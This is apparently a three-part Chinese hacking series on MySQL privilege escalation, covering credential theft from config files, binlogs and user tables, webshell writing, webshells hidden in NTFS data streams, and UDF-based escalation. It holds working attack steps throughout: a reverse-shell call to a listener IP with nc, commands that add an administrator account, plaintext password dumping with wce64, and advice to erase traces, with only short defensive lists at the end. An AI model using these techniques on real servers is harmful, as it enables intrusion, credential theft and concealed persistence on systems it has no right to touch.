一、Mysql提權必備條件
1.服務器安裝Mysql數據庫
利用Mysql提權的前提就是服務器安裝了mysql數據庫,且mysql的服務沒有降權,Mysql數據庫默認安裝是以系統權限繼承的,並且需要獲取Mysql root賬號密碼。
2.判斷Mysql服務運行權限
對於Mysql數據庫服務運行權限有很多方法,我這裏主要介紹三種,一種是通過查看系統賬號,也即使用「net user」命令查看系統當前賬號,如果出現了mysql這類用戶,以爲着系統可能進行了降權,一般情況都不會降權。第二種方法就是看mysqld運行的Priority值,如下圖所示。通過aspx的網頁木馬來查看Process信息,在圖中我們可以看到系統權限的Priority值爲「8 」,如果Mysqld的Priority值也爲8則意味着Mysql是以System權限運行的。第三種方法是查看端口可否外聯,一般情況下是不允許root等賬號外聯,外部直接連接意味着賬號可能被截取和嗅探,通過本地客戶端直接連接對方服務器,直接查看和操作Mysql數據庫,可以通過掃描3306端口來判斷是否提供對外連接。
查看Priority值來判斷Mysqld服務運行權限
二、Mysql密碼獲取與破解
1.獲取網站數據庫賬號和密碼
對於CMS系統,一定會有一個文件定義了數據庫連接的用戶和密碼。例如以下代碼:
dedecms數據庫安裝的信息就是寫在data/common.inc.php,Discuz的數據庫信息就在config/config_global_default.php、config /config_ucenter.php、config.inc.php。一般數據庫配置文件都會位於config、application、conn、db等目錄,配置文件名稱一般會是conn.asp/php/aspx/jsp等。對於java會在/WEB-INF/config/config.properties中配置,總之通過查看源代碼,進行層層分析,終究會發現數據庫配置文件。
對於Linux操作系統,除了上述方法獲取root賬號密碼外,還可以通過查看./root/.mysql_history、./root/.bash_history文件查看mysql操作涉及的密碼。當然對於Mysql5.6以下版本,由於設計Mysql程序時對於安全性的重視度非常低,用戶密碼是明文傳輸。MySQL對於binary log中和用戶密碼相關的操作是不加密的。如果你向MySQL發送了例如create user,grant user ... identified by這樣的攜帶初始明文密碼的指令,那麼會在binary log中原原本本的被還原出來,執行「mysqlbinlog binlog.000001」命令即可獲取,如下圖所示。
查看binlog日誌
2.獲取Mysql數據庫user表
MYSQL所有設置默認都保存在「C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL」中,也就是安裝程序的data目錄下,有關用戶一共有三個文件即user.frm、user.MYD和 user.MYI,MYSQL數據庫用戶密碼都保存在user.MYD文件中,包括root用戶和其他用戶的密碼。在有權限的情況下,我們可以將User.frm、user.myd和User.myi三個文件下載到本地,通過本地的mysql環境直接讀取user表中的數據。當然也可使用文本編輯器將user.MYD打開將root賬號的密碼複製出來到到cmd5.com進行查詢和破解。對於Mysql數據庫密碼如果通過cmd5.com等網站不能查詢到密碼則需要自己手動破解,有關Mysql數據庫密碼手動破解,請查閱下一章。
3.Mysql密碼查詢
可以通過以下查詢語句直接查詢mysql數據庫中的所有用戶和密碼。
4.MySQL密碼加密算法
MySQL實際上是使用了兩次SHA1夾雜一次unhex的方式對用戶密碼進行了加密。具體的算法可以用公式表示:password_str = concat('*', sha1(unhex(sha1(password)))),可以通過查詢語句進行驗證,查詢結果如下圖所示。
mysql數據庫加密算法
三、Mysql獲取webshell
Mysql root賬號網站獲取webshell具備的條件:
1.知道站點物理路徑,網站物理途徑可以通過phpinfo函數、登錄後臺查看系統屬性、文件出錯信息、查看網站源代碼以及路徑猜測等方法獲取。
2.有足夠大的權限,最好是root賬號權限或者具備root權限的其它賬號,可以用select user,password from mysql.user進行測試。
3.magic_quotes_gpc()=OFF。對於PHP magic_quotes_gpc=on的情況,可以不對輸入和輸出數據庫的字符串數據作addslashes()和stripslashes()的操作,數據也會正常顯示。 對於PHP magic_quotes_gpc=off 的情況必須使用addslashes()對輸入數據進行處理,但並不需要使用stripslashes()格式化輸出,因爲addslashes()並未將反斜槓一起寫入數據庫,只是幫助mysql完成了sql語句的執行。
4.直接導出webshell,執行下面語句
也可以通過創建表來直接完成,其中d:/www/exehack.php爲webshell的名稱和路徑:
5.有些情況下掌握了MSSQL數據庫口令,但服務器環境是Windows2008,web環境是PHP,則可以通過SQLTOOLs工具,直接連接命令,通過以下命令寫入shell:
四、Mysql滲透有用的一些技巧總結
1.常見的有助於滲透到mysql函數
在對MySQL數據庫架構的滲透中,MySQL內置的函數DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用來獲取一些系統的信息,而load_file()作用是讀入文件,並將文件內容作爲一個字符串返回,這在滲透中尤其有用,例如發現一個php的SQL注入點,則可以通過構造「-1 union select 1,1,1,1,load_file('c:/boot.ini')」來獲取boot.ini文件的內容。
(1)一些常見的系統配置文件
LUNIX/UNIX 下:
(2)直接讀取配置文件
(3)Linux下通過load_file函數讀出來的數據庫有可能是hex編碼,要正常查看需要使用NotePad將將以上代碼全部選中,然後選擇插件「Converter」-「HEX-ASCII」進行轉換。
2. Windows下MySQL提權時無法創建目錄解決辦法及數據流隱藏Webshell
NTFS中的ADS(交換數據流)可以建立目錄,隱藏webshell等等。
(1) Mysql創建目錄
當MySQL版本較高時,自定義函數的dll需要放在mysql目錄下的lib\plugin\。一般普通的腳本是沒有在這個文件夾下創建文件夾的權限的。這裏可以用到ads來突破:
會在mysql目錄下生成一個lib目錄,這樣你就可以將你的udf放在這個插件目錄下了。
(2)隱藏webshell
在服務器上echo一個數據流文件進去,比如index.php是網頁正常文件,我們可以這樣子搞:
這樣子就生成了一個不可見的shell a.jpg,常規的文件管理器、type命令,dir命令、del命令發現都找不出那個a.jpg的。我們可以在另外一個正常文件裏把這個ADS文件include進去,這樣子就可以正常解析我們的一句話了。
3.有用的一些技巧
(1)3389端口命令行下獲取總結
(2)Windows 2008Server命令行開啓3389
(3)wce64 -w 命令直接獲取系統明文登錄密碼
(4)在phpinfo中查找SCRIPT_FILENAME關鍵字獲取真實路徑
(5)Linux終端提示符下查看mysql有關信息,ps -ef|grep mysql
(6)Linux下啓動mysql服務: service mysqld start
(7)Linux下查看mysqld是否啓動:ps -el | grep mysqld
(8)查看mysql在哪裏:whereis mysql
(9)查詢運行文件所在路徑 which mysql
(10)udf.dll提權常見函數
具體用戶示例:
4.一些常見的Mysql命令
(1)連接到mysql 服務器
(2)查看所有數據庫
(3)使用某個數據庫
(4)查看數據庫中的所有表
(5)在test數據庫下創建一個新的表
(6)在表中插入內容添加用戶命令
(7)查詢a表中所有的數據
(8)導出數據到系統某個目錄下
(9)查詢數據庫數據路徑
(10)查看所有dir路徑
(11)查看插件路徑
(12)查詢MYSQL安裝路徑
(13)常用內置函數
(14)獲取表結構
(15)刪除表
注:本文是筆者撰寫的Mysql安全系列文章的第一期,後續我們會持續推出,敬請期待。
參考文章:
http://www.jb51.net/hack/41493.html
http://www.pythian.com/blog/hashing-algorithm-in-mysql-password-2/
http://www.myhack58.com/Article/html/3/8/2016/75694.htm
http://www.cnblogs.com/hateislove214/archive/2010/11/05/1869889.html
通過mysql查詢來直接提權,可以針對以下場景:
(1)通過網站無法獲取webshell
(2)Webshell無法執行命令
(3)有phpmyadmin和root賬號,無法查詢或者無法獲取網站的真實路徑
注:本文是筆者撰寫的Mysql安全系列文章的第二篇。第一篇爲《關係型數據庫管理系統MySQL提權基礎》。
一、反彈端口連接提權的條件
1.訪問Mysql數據庫
獲取了數據庫root賬號和密碼或者相當於root權限的賬號和密碼,同時能夠執行查詢命令。換句話說可以通過phpmyadmin連接、通過網站後臺的執行數據庫命令或者「Navicat for MySQL」等客戶端軟件連接。
2.可導出文件udf.dll到系統目錄或者Mysql數據庫安裝目錄下的lib下的plugin目錄。如果有上傳條件,可以直接上傳udf.dll到對應目錄。Mysql5.1以下版本到c:\winnt\system32或者c:\windows\system32目錄,Mysql5.1以上版本到Mysql安裝目錄下的plugin 目錄,例如D:\ComsenzEXP\MySQL\lib\plugin。
3.授權mysql數據庫遠程用戶登錄
可以修改host爲%,更新權限,然後通過Navicat for MySQL連接數據庫,直接打開命令提示窗口進行導出。
允許遠程用戶登錄訪問mysql的方法,需要手動增加可以遠程訪問數據庫的用戶。
方法一:本地登入mysql,更改 "mysql" 數據庫裏的 "user" 表裏的 "host" 項,將"localhost"改爲"%"
FLUSH PRIVILEGES ;
方法二:直接授權
從任何主機上使用root用戶,密碼:youpassword(你的root密碼)連接到mysql服務器:
二、具體實現方法
1.連接mysql服務器
(1)通過mysql客戶端工具可以直接連接
(2)通過phpmyadmin進行連接
(3)通過mysql.exe直接連接
2.執行查詢命令
(1)網上提供的「\. c:\mysql.txt」命令會出錯,最好通過phpmyadmin或者Navicat for MySQL等工具來進行查詢。修改mysql.txt中的最後一行代碼「select backshell("YourIP",4444);」爲自己反彈的IP和反彈監聽的端口。
(2)本地開啓監聽反彈的端口
nc.exe -vv -l -p 4444
(3)執行mysql查詢,將mysql.txt文件內容複製到查詢中執行。
成功後,你將獲得一個system權限的cmdshell。
3.添加用戶或者獲取管理員密碼
通過反彈shell添加用戶antian365,密碼www.antian365.com
三、一個提權實例
1.在反彈監聽服務器上進行端口監聽
通過cmd命令提示符,執行nc監聽命令:nc –vv –l –p 4444,表示在本地監聽4444端口。如果是在公網上,這反彈監聽服務器必須有獨立IP,如果是內部網絡,則可以直接使用內網IP,如圖1所示。
圖1進行監聽
2.修改mysql.txt文件中反彈地址
在mysql.txt文件中將最後一行代碼修改爲前面設置的監聽IP地址和端口,如圖2所示,例如代碼:
select backshell("192.168.40.135",4444);//反彈監聽服務器IP192.168.40.135,端口4444
圖2修改查詢代碼中反彈shell地址和端口
這個也可以再次單獨查詢:select backshell("192.168.40.135",4444);
3.執行查詢
可以通過mysql命令行下執行,也可以通過phpmyadmin查詢窗口以及一些mysql客戶端查詢進行,如圖3所示執行查詢。
圖3執行mysql查詢
說明:
(1)如果已經存在ghost表和backshell函數,可以執行以下命令進行刪除:
(2)如果已經存在udf.dll,則可以跳過導出命令,執行:
3.查看反彈結果
如圖4所示,顯示通過連接mysql執行查詢獲取的終端反彈shell,在該shell下可以直接執行net user、whoami等命令查看當前權限。
圖4查看反彈結果
四、防範方法
1.查看mysql數據庫中user表授權的登錄host,禁止具備Root賬號權限的用戶通過「%」進行登錄。
2.禁止在網站CMS系統使用root賬號進行配置。
3.設置root賬號的密碼爲強密碼。
4.對Mysql執行程序進行降權,禁止網站用戶讀取user.frm、user.myd、user.myi。例如D:\ComsenzEXP\MySQL\data\mysql下的user表文件user.frm、user.myd、user.myi要禁止網站用戶讀取和下載。
5.檢查mysql數據庫下的mysql表中是否存在其它無關表,檢查func表中的內容。
6.可以在相應的目錄下建立一個udf.dll空文件,並嚴格設置權限,任何人無讀取和寫入權限。
注:本文是筆者撰寫的Mysql安全系列文章的第二篇,我們將會持續推出後續文章,敬請期待。
mysql利用ntfs的ADS創建文件夾 http://blog.csdn.net/yiyefangzhou24/article/details/17190135
MYSQL提權總結 http://www.waitalone.cn/mysql-tiquan-summary.html?replytocom=390
phpmyadmin直接提權 http://www.hack80.com/forum.php?mod=viewthread&tid=1304
通過phpmyadmin各種技巧拿webshell https://www.exehack.net/99.html
一、UDF函數簡介
1.UDF介紹
UDF(user-defined function)是MySQL的一個拓展接口,也可稱之爲用戶自定義函數,它是用來拓展MySQL的技術手段,可以說是數據庫功能的一種擴展,用戶通過自定義函數來實現在MySQL中無法方便實現的功能,其添加的新函數都可以在SQL語句中調用,就像本機函數如ABS()或SOUNDEX()一樣方便。UDF官方介紹以及其函數定義請參考(http://dev.mysql.com/doc/refman/5.5/en/adding-functions.html、https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html),除了常見的UDF提權外,其實Udf還有更多更廣泛的應用,例如https://github.com/mysqludf/repositories,就提供了非常多的應用:
lib_mysqludf_fPROJ4:一組擴展的科學函數,將地理經度和緯度座標轉換爲笛卡爾座標,反之亦然。
lib_mysqludf_json:用於將關係數據映射到JSON格式的函數的UDF庫。
lib_mysqludf_log:用於將調試信息寫入日誌文件的UDF庫。
lib_mysqludf_preg:直接在MySQL中使用PCRE正則表達式
lib_mysqludf_stat:用於統計分析的UDF庫。
lib_mysqludf_str:一個帶有MySQL附加字符串函數的UDF庫
lib_mysqludf_sys:具有與操作系統交互的功能的UDF庫。這些函數允許您與MySQL運行的執行環境進行交互。
lib_mysqludf_xml:一個UDF庫,用於直接從MySQL創建XML輸出。
有三種方法向MySQL添加新函數。
(1)可以通過用戶定義的函數(UDF)接口添加函數。用戶定義的函數被編譯爲庫文件,然後使用CREATE FUNCTION和DROP FUNCTION語句動態添加到服務器或從服務器中刪除。
(2)可以將函數添加爲本機(內置)MySQL函數。本機函數被編譯到 mysqld服務器並永久可用。
(3)添加函數的另一種方法是創建存儲的函數。這些是使用SQL語句編寫的,而不是通過編譯目標代碼。
二、Windows下UDF提權的條件和方法
Windows下UDF提權對於Windows2008以下服務器比較適用,也即針對Windows2000、Windows2003的成功率較高。
1. UDF提權條件
(1)Mysql版本大於5.1版本udf.dll文件必須放置於MYSQL安裝目錄下的lib\plugin文件夾下。
(2)Mysql版本小於5.1版本。udf.dll文件在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32。
(3)掌握的mysql數據庫的賬號有對mysql的insert和delete權限以創建和拋棄函數,一般以root賬號爲佳,具備root賬號所具備的權限的其它賬號也可以。
(4)可以將udf.dll寫入到相應目錄的權限。
2.提權方法
(1)獲取數據庫版本、數據位置以及插件位置等信息
(2)導出路徑
MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能創建自定義函數。該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下創建libplugin文件夾,然後將udf.dll文件導出到該目錄即可。
在某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,網上大牛發現利用NTFS ADS流來創建文件夾的方法:
執行成功以後就會plugin目錄,然後再進行導出udf.dll即可。
(3)創建cmdshell 函數,該函數叫什麼名字在後續中則使用該函數進行查詢:
(4)執行命令:
一般情況下不會出現創建不成功哦。
連不上3389可以先停止windows防火牆和篩選
udf.dll下常見函數:
cmdshell 執行cmd;
downloader 下載者,到網上下載指定文件並保存到指定目錄;
open3389 通用開3389終端服務,可指定端口(不改端口無需重啓);
backshell 反彈Shell;
ProcessView 枚舉系統進程;
KillProcess 終止指定進程;
regread 讀註冊表;
regwrite 寫註冊表;
shut 關機,註銷,重啓;
about 說明與幫助函數;
具體用戶示例:
(5)清除痕跡
刪除udf.dll文件以及其它相關入侵文件及日誌。
(6)常見錯誤
在my.ini 或者mysql.cnf 文件中註銷 (使用#號) 包含secure_file_priv的行。
1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要將my.ini中的skip-grant-tables選項去掉。
三、一個提權實例
1.設置Mysql提權腳本文件
將Mysql提權腳本文件上傳到服務器上,運行後,需要對IP地址、UID、passwod、db進行配置,如圖1所示,IP地址一般可以設置爲localhost、127.0.0.1以及真實IP地址,uid默認爲root,其它具有root用戶權限的用戶名稱也可以,pwd爲具有root權限用戶的密碼,db默認選擇mysql,單擊提交查詢內容進行連接測試。
設置Mysql提交腳本文件
2.進行連接測試
連接成功後,會給出相應的提示信息,如圖2所示,給出用戶,數據庫,數據目錄(datadir),基本目錄(basedir),版本,插件路徑,mysql函數等信息。
連接測試
3.創建「shell」函數
單擊「Dump UDF」 將UDF.DLL文件導出到默認的插件目錄下,然後再運行「Create Function」將創建「shell」函數。如圖3所示,如果前面已經創建過shell函數,則會提示系統中已經存在「shell」函數 。
創建「shell」函數
4.查看用戶
在查詢窗口中輸入「select shell('cmd','net user')」查看系統所有的用戶,如圖4所示,可以正常查看系統的所有用戶信息。
查看用戶
5.創建具有管理員權限的用戶
分別在查詢中輸入腳本「select shell('cmd','net user temp temp123456')」、「select shell('cmd','net localgroup administrators temp /add ')」並執行該查詢命令,如果執行成功,則表示在系統中添加「temp」用戶,密碼爲「temp123456」,同時將該用戶添加到管理員組中,使其具備管理員權限,執行成功後如圖5,圖6所示。
添加temp用戶
將用戶temp添加到管理員組
6.提權成功
在SQL查詢中輸入「select shell('cmd','net localgroup administrators')」命令查看剛纔添加到用戶是否真的添加成功,如圖7所示,查詢結果表明已經將temp用戶添加到管理員組中。
查看管理員用戶
目前對於一些網站來說,一般都會提供遠程終端服務,只要用戶添加成功,則可以直接登錄該服務器,如圖8所示,輸入用戶名和密碼,成功進入該服務器,至此通過mysql的root用戶成功提權。
圖8成功進入服務器
四、其它提權工具
v5est0r 寫了一個Mysql提權綜合利用工具,詳細情況請參考其代碼共享網站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:
1.自動導出你的backdoor和mof文件
2.自動判斷mysql版本,根據版本不同導出UDF的DLL到不同目錄,UDF提權
3.導出LPK.dll文件,劫持系統目錄提權
4.寫啓動項提權
UdF自動提權:
LPK劫持提權:
啓動項提權:
例如通過LOAD_FILE來查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,這無法進行提權,如圖9所示。
查看mysql數據庫配置文件內容
五、UDF提權總結與防範
目前安裝的Mysql數據庫版本基本是高於5.1版本,通過Mysql查詢可以導出udf.dll但由於mysql中my.ini文件的配置,有可能會導致無法創建自定義函數。這時候就需要修改my.ini進行重啓。
1.提權總結
(1)有webshell的提權
如果獲取了webshell則比較簡單,目前有很多Mysql提權的PHP腳本,可以比較快速的進行提權,在此不贅述。
(2)無webshell的提權
通過查詢將udf.dll轉成代碼插入數據庫,然後導出